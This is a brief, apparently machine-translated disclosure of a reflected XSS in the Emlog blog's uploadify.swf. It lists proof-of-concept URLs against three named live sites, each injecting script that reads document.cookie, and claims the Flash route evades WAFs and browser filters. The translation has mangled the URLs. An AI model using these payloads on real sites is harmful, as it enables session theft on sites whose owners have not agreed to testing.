Emlog blog front-end reflective XSS (ignore browser filter)

Emlog blog front-end reflective XSS (ignore browser filter)

Test on the official host site:

Http://host.emlog.net/include/lib/js/uploadify/uploadify.swf? MovieName = % 22] % 29} catch % 28e % 29 {if % 28! Window. x % 29 {window. x = 1; alert % 28document. cookie % 29 }}//

Blog of one of developers:

Http://blog.qiyuuu.com/include/lib/js/uploadify/uploadify.swf? MovieName = % 22] % 29} catch % 28e % 29 {if % 28! Window. x % 29 {window. x = 1; alert % 28document. cookie % 29 }}//

Place of thought:

Http://be-evil.org/include/lib/js/uploadify/uploadify.swf? MovieName = % 22] % 29} catch % 28e % 29 {if % 28! Window. x % 29 {window. x = 1; alert % 28document. cookie % 29 }}//

I will not list them any more.

Because it is flash xss, we ignore the server WAF and browser filter ~

I don't want to talk about this swf.

Solution:

Swf repair